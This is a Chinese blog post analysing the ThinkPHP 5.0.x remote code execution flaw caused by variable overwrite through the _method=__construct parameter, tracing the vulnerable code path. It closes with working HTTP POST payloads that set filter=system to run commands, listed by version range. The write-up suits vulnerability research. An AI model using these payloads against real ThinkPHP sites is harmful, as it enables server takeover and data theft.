Thinkphp 5.0.x 变量覆盖导致的RCE 漏洞分析

漏洞分析:

跟进在thinkphp\library\think\App.php下的run函数,存在url路由检测函数routeCheck,并赋值给$dispatch

 

 跟进routeCheck中比较重要的检测函数check,会对路由的类型等进行获取

其中通过$request->method()函数来获取请求的类型

method函数中对$method的true与false进行if判断,这里的method是没有传参进来的,所以默认是false,先进入elseif,var_method是表单请求类型伪装变量,可以看到其值为_method

 

 

 只要post传入_method的值就可以进入if执行语句中,由于_method的值是我们可控的,所以$this->{$this->method}这个所执行的本类函数也就是我们可以自己选择的,而我们传入的__construct的值就让我们执行了Request类中的__construct函数,我们来看一下__construct函数的代码。

 1     protected function __construct($options = [])
 2     {
 3         foreach ($options as $name => $item) {
 4             if (property_exists($this, $name)) {
 5                 $this->$name = $item;
 6             }
 7         }
 8         if (is_null($this->filter)) {
 9             $this->filter = Config::get('default_filter');
10         }
11         // 保存 php://input
12         $this->input = file_get_contents('php://input');
13     }

之前传入了$_POST,也就是将$_POST赋值给了$options,然后在foreach中完成了对POST提交的数据进行遍历,并通过property_exists函数进行属性是否存在的检测,最后进行赋值,就存在变量覆盖漏洞了。

 

访问index.php默认调用的模块名/控制器名/操作名是/index/index/index,对应的$dispatch['type']module

 

 跟进module函数,关键在于invokeMethod函数

继续跟进invokeMethod函数下的bindParams函数

跟进bindParams中对参数处理的param函数

 

 

最后调用input函数,可以根据$filter默认为""的时候将$this->filter的值赋给$filter,实现变量覆盖

 

 

 

 通过array_walk_recursive,应用函数filterValue,最后通过call_user_func来实现RCE

 

 

 变量覆盖payload总结:

5.0.0~5.0.12 无条件触发

POST / HTTP/1.1

_method=__construct&filter=system&method=GET&a=whoami

a可以替换成get[]、route[]或者其他名字

5.0.13~5.0.23 需要有第三方类库 如完整版中的captcha

POST /?s=captcha HTTP/1.1

_method=__construct&filter=system&method=get&get[]=whoami

get[]可以换成route[]

5.0.13~5.0.23 需要开启debug

POST / HTTP/1.1

_method=__construct&filter=system&get[]=whoami

get[]可以替换成route[]

 

参考:

 https://blog.csdn.net/qq_32727277/article/details/102974288

 

posted @ 2021-08-18 13:30  1jzz  阅读(458)  评论(0编辑  收藏  举报